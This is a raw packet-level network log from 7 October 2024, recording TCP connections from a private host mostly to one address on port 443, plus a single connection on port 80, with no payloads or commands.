Oct 7, 2024 17:22:41.572734118 CEST	49849	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.572740078 CEST	443	49849	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.576589108 CEST	443	49848	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.576975107 CEST	49848	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.577003002 CEST	443	49848	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.577826023 CEST	49848	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.577835083 CEST	443	49848	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.606205940 CEST	443	49850	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.608762980 CEST	49850	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.608793020 CEST	443	49850	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.609178066 CEST	49850	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.609184027 CEST	443	49850	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.667084932 CEST	443	49849	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.667119026 CEST	443	49849	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.667169094 CEST	443	49849	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.667263985 CEST	49849	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.667296886 CEST	49849	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.667486906 CEST	49849	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.667507887 CEST	443	49849	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.667522907 CEST	49849	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.667529106 CEST	443	49849	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.670239925 CEST	443	49846	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.670248032 CEST	49851	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.670317888 CEST	443	49851	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.670339108 CEST	443	49846	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.670403957 CEST	49851	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.670526028 CEST	49846	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.670526028 CEST	49846	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.670563936 CEST	49851	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.670564890 CEST	49846	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.670583010 CEST	443	49846	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.670583010 CEST	443	49851	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.671586037 CEST	443	49847	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.671608925 CEST	443	49847	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.671650887 CEST	443	49847	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.671672106 CEST	49847	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.671700001 CEST	49847	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.671797991 CEST	49847	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.671816111 CEST	443	49847	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.671830893 CEST	49847	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.671838045 CEST	443	49847	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.673024893 CEST	49852	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.673069000 CEST	443	49852	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.673154116 CEST	49852	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.673266888 CEST	49852	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.673284054 CEST	443	49852	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.673830032 CEST	49853	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.673867941 CEST	443	49853	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.674230099 CEST	443	49848	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.674379110 CEST	49853	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.674429893 CEST	443	49848	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.674474001 CEST	49848	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.674562931 CEST	49853	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.674573898 CEST	443	49853	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.674669981 CEST	49848	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.674688101 CEST	443	49848	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.674700975 CEST	49848	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.674705982 CEST	443	49848	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.676512003 CEST	49854	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.676522017 CEST	443	49854	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.676614046 CEST	49854	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.676733971 CEST	49854	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.676745892 CEST	443	49854	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.702280998 CEST	443	49850	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.702358007 CEST	443	49850	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.702487946 CEST	49850	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.702696085 CEST	49850	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.702711105 CEST	443	49850	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.702742100 CEST	49850	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.702747107 CEST	443	49850	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.705358028 CEST	49855	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.705430984 CEST	443	49855	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:41.705507040 CEST	49855	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.705650091 CEST	49855	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:41.705668926 CEST	443	49855	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.285299063 CEST	443	49853	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.285886049 CEST	49853	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.285917997 CEST	443	49853	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.286113977 CEST	443	49852	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.286358118 CEST	49853	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.286366940 CEST	443	49853	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.286591053 CEST	49852	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.286626101 CEST	443	49852	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.286916971 CEST	49852	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.286923885 CEST	443	49852	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.315445900 CEST	443	49854	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.315762043 CEST	49854	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.315793037 CEST	443	49854	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.316112995 CEST	49854	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.316118956 CEST	443	49854	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.316200018 CEST	443	49851	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.316437006 CEST	49851	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.316494942 CEST	443	49851	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.316755056 CEST	49851	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.316768885 CEST	443	49851	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.318206072 CEST	443	49855	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.318419933 CEST	49855	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.318433046 CEST	443	49855	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.318731070 CEST	49855	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.318737030 CEST	443	49855	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.343482018 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:42.381660938 CEST	443	49853	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.381690025 CEST	443	49853	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.381737947 CEST	443	49853	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.381746054 CEST	49853	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.381779909 CEST	49853	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.381927013 CEST	49853	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.381946087 CEST	443	49853	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.381966114 CEST	49853	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.381972075 CEST	443	49853	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.383991957 CEST	443	49852	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.384082079 CEST	443	49852	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.384154081 CEST	49852	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.384254932 CEST	49852	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.384275913 CEST	443	49852	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.384291887 CEST	49852	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.384299040 CEST	443	49852	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.384998083 CEST	49856	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.385041952 CEST	443	49856	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.385111094 CEST	49856	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.385227919 CEST	49856	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.385243893 CEST	443	49856	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.386893034 CEST	49857	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.386925936 CEST	443	49857	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.387202978 CEST	49857	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.387336969 CEST	49857	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.387351036 CEST	443	49857	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.414817095 CEST	443	49855	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.414890051 CEST	443	49855	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.414942980 CEST	49855	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.415034056 CEST	443	49854	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.415064096 CEST	49855	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.415071011 CEST	443	49855	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.415102959 CEST	49855	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.415108919 CEST	443	49855	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.415172100 CEST	443	49854	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.415222883 CEST	49854	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.415446997 CEST	49854	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.415467978 CEST	443	49854	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.415482998 CEST	49854	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.415489912 CEST	443	49854	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.417088032 CEST	49858	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.417107105 CEST	443	49858	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.417313099 CEST	49859	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.417340994 CEST	49858	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.417352915 CEST	443	49859	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.417397022 CEST	49859	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.417465925 CEST	49858	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.417476892 CEST	443	49858	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.417612076 CEST	49859	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.417625904 CEST	443	49859	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.419136047 CEST	443	49851	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.419171095 CEST	443	49851	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.419214010 CEST	443	49851	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.419279099 CEST	49851	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.419374943 CEST	49851	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.419374943 CEST	49851	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.419399977 CEST	443	49851	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.419421911 CEST	443	49851	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.421224117 CEST	49860	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.421245098 CEST	443	49860	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:42.421303988 CEST	49860	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.421405077 CEST	49860	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:42.421420097 CEST	443	49860	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.023488045 CEST	443	49856	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.024110079 CEST	49856	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.024146080 CEST	443	49856	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.024449110 CEST	49856	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.024456978 CEST	443	49856	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.026701927 CEST	443	49860	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.027040958 CEST	49860	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.027082920 CEST	443	49860	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.027421951 CEST	49860	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.027430058 CEST	443	49860	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.031938076 CEST	443	49857	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.032401085 CEST	49857	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.032413960 CEST	443	49857	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.032809973 CEST	49857	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.032814980 CEST	443	49857	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.036361933 CEST	443	49859	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.036627054 CEST	49859	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.036660910 CEST	443	49859	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.036986113 CEST	49859	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.036990881 CEST	443	49859	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.062460899 CEST	443	49858	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.063159943 CEST	49858	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.063169956 CEST	443	49858	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.063497066 CEST	49858	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.063500881 CEST	443	49858	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.119612932 CEST	443	49856	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.119713068 CEST	443	49856	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.119796038 CEST	49856	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.119976997 CEST	49856	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.120009899 CEST	443	49856	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.120023012 CEST	49856	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.120028019 CEST	443	49856	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.121623039 CEST	443	49860	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.121845961 CEST	443	49860	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.121906042 CEST	49860	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.122755051 CEST	49861	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.122805119 CEST	443	49861	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.122874022 CEST	49861	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.122955084 CEST	49860	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.122988939 CEST	443	49860	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.123003960 CEST	49860	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.123009920 CEST	443	49860	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.124116898 CEST	49861	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.124144077 CEST	443	49861	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.125085115 CEST	49862	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.125103951 CEST	443	49862	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.125312090 CEST	49862	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.125463009 CEST	49862	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.125473976 CEST	443	49862	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.131860971 CEST	443	49857	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.131901026 CEST	443	49857	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.131947041 CEST	49857	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.131961107 CEST	443	49857	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.131974936 CEST	443	49857	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.132030010 CEST	49857	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.132132053 CEST	49857	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.132143974 CEST	443	49857	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.132153988 CEST	49857	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.132158041 CEST	443	49857	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.132977962 CEST	443	49859	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.133008003 CEST	443	49859	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.133047104 CEST	443	49859	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.133057117 CEST	49859	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.133093119 CEST	49859	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.133184910 CEST	49859	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.133191109 CEST	443	49859	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.133203983 CEST	49859	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.133207083 CEST	443	49859	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.134845972 CEST	49863	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.134875059 CEST	443	49863	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.134931087 CEST	49863	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.135242939 CEST	49863	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.135261059 CEST	443	49863	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.136194944 CEST	49864	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.136228085 CEST	443	49864	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.136295080 CEST	49864	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.136399031 CEST	49864	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.136413097 CEST	443	49864	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.163360119 CEST	443	49858	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.163492918 CEST	443	49858	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.163547039 CEST	49858	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.163695097 CEST	49858	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.163701057 CEST	443	49858	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.163711071 CEST	49858	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.163713932 CEST	443	49858	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.166825056 CEST	49865	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.166867971 CEST	443	49865	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.166917086 CEST	49865	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.167169094 CEST	49865	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.167191029 CEST	443	49865	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.755141973 CEST	443	49863	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.755295992 CEST	443	49861	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.764803886 CEST	49863	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.764848948 CEST	443	49863	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.765260935 CEST	49863	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.765268087 CEST	443	49863	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.765552044 CEST	49861	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.765584946 CEST	443	49861	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.765986919 CEST	49861	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.765991926 CEST	443	49861	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.772110939 CEST	443	49862	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.772439003 CEST	49862	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.772449970 CEST	443	49862	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.772819042 CEST	49862	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.772821903 CEST	443	49862	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.774902105 CEST	443	49865	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.775367975 CEST	49865	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.775399923 CEST	443	49865	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.775790930 CEST	49865	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.775799036 CEST	443	49865	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.782247066 CEST	443	49864	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.782546043 CEST	49864	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.782578945 CEST	443	49864	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.783019066 CEST	49864	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.783024073 CEST	443	49864	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.856060028 CEST	443	49863	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.856256008 CEST	443	49863	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.856345892 CEST	49863	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.856369972 CEST	443	49863	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.856874943 CEST	443	49861	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.856919050 CEST	49863	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.857115030 CEST	443	49861	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.857171059 CEST	49861	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.869384050 CEST	443	49865	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.869410038 CEST	443	49865	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.869448900 CEST	443	49865	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.869513988 CEST	49865	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.869513988 CEST	49865	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.873596907 CEST	443	49862	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.874468088 CEST	443	49862	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.874489069 CEST	49863	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.874521971 CEST	49862	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.874532938 CEST	443	49863	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.874552011 CEST	49863	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.874560118 CEST	443	49863	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.875397921 CEST	49861	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.875416040 CEST	443	49861	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.875492096 CEST	49861	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.875498056 CEST	443	49861	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.876430988 CEST	49865	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.876430988 CEST	49865	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.876460075 CEST	443	49865	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.876467943 CEST	443	49865	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.876656055 CEST	49862	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.876667023 CEST	443	49862	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.876677036 CEST	49862	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.876682043 CEST	443	49862	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.882379055 CEST	49866	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.882405043 CEST	443	49866	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.882498980 CEST	443	49864	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.882519007 CEST	49866	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.882827997 CEST	443	49864	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.882872105 CEST	49864	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.883239031 CEST	49867	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.883269072 CEST	443	49867	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.883481026 CEST	49867	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.884155989 CEST	49868	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.884190083 CEST	443	49868	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.884298086 CEST	49868	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.884879112 CEST	49869	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.884916067 CEST	443	49869	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.885142088 CEST	49869	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.885648966 CEST	49869	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.885663033 CEST	443	49869	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.885730028 CEST	49866	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.885745049 CEST	443	49866	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.886054993 CEST	49864	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:43.886065960 CEST	443	49864	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:43.886076927 CEST	49864	443	192.168.2.5	13.107.246.60
